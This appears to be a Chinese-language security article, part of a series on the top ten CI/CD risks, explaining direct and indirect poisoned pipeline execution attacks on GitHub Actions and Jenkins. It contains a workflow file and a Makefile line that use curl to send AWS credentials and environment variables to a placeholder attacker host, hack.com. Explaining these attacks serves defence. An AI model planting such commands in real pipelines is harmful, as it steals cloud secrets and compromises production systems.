三 十大 CI/CD 安全風險( 二 )

【三 十大 CI/CD 安全風險】在這種情況下,D-PPE 攻擊將按如下方式進行:

  1. 攻擊者在存儲庫中創建了一個新的遠程分支 , 在其中使用惡意命令更新流水線配置文件,這些命令旨在訪問 GitHub 組織范圍內的 AWS 憑證,然后將其發送到遠程服務器 。
name: PIPELINEon: pushjobs: build:runs-on: ubuntu-lateststeps:- env:ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}run: |curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
  1. 推送更新后,將觸發從存儲庫中獲取代碼的流水線 , 包括惡意流水線配置文件 。
  2. 流水線基于被攻擊者“毒化”的配置文件運行 。根據攻擊者的惡意命令,存儲為存儲庫機密的 AWS 憑證被加載到內存中 。
  3. 流水線繼續執行攻擊者的命令,將 AWS 憑證發送到攻擊者控制的服務器 。
  4. 攻擊者隨后能夠使用竊取的憑證訪問 AWS 生產環境 。
通過 Indirect-PPE (Jenkins) 竊取憑證這個例子展示的是 Jenkins 流水線從存儲庫中獲取代碼、構建、運行測試并最終部署到 AWS 。在此流水線中,Jenkinsfile 是受保護的,因為是從存儲庫中的主分支中獲取的 。因此,攻擊者無法操縱構建定義,也無法獲取存儲在 Jenkins 憑證存儲中的機密或在其他節點上運行任務 。
然而這并不代表流水線沒有風險 。在流水線的構建階段,AWS 憑證作為環境變量加載,使其僅可用于在此階段運行的命令 。在下面的示例中,基于 Makefile 的內容(也存儲在存儲庫中)的make命令作為此階段的一部分運行 。
The Jenkinsfile:
pipeline {agent anystages {stage('build') {steps {withAWS(credentials: 'AWS_key', region: 'us-east-1') {sh 'make build'sh 'make clean'}}}stage('test') {steps {sh 'go test -v ./...'...The Makefile:
build:echo "building…"clean:echo "cleaning…"
三 十大 CI/CD 安全風險

文章插圖
在這種情況下,I-PPE 攻擊將按如下方式進行:
  • 攻擊者在存儲庫中創建拉取請求,將惡意命令附加到 Makefile 文件中 。
build:curl -d "$$(env)" hack.comclean:echo "cleaning…"
  • 由于流水線配置為在針對 repo 的任何 PR 時觸發,Jenkins 流水線被觸發,從存儲庫中獲取代碼 , 包括惡意Makefile 。
  • 流水線基于存儲在主分支中的配置文件運行 。進入構建階段,如原始 Jenkinsfile 中定義,將 AWS 憑證加載到環境變量中 。然后,運行make build命令,該命令執行添加到Makefile中的惡意命令 。
  • 執行 Makefile 中定義的惡意構建函數,將 AWS 憑證發送到攻擊者控制的服務器 。
  • 攻擊者隨后能夠使用竊取的憑證訪問 AWS 生產環境 。
影響在成功的 PPE 攻擊中,攻擊者在 CI 中執行未經審查的惡意代碼 。這為攻擊者提供了與構建任務相同的能力和訪問級別,包括:
  • 訪問 CI 任務可用的任何機密,比如作為環境變量注入的機密或存儲在 CI 中的其他敏感信息 。CI/CD 系統負責構建代碼和部署工件 , 通常包含多個如云提供商、工件注冊表和 SCM 本身的重要憑證和令牌 。
  • 訪問任務節點有權訪問的外部資產,例如存儲在節點文件系統中的文件,或可通過底層主機訪問的云環境的憑據 。
  • 能夠以構建過程構建的合法代碼為障眼法 , 將代碼和工件進一步傳送到流水線中 。
  • 能夠訪問作業節點的網絡/環境中的其他主機和資產 。
建議預防和緩解 PPE 攻擊,涉及跨 SCM 和 CI 系統的多項措施: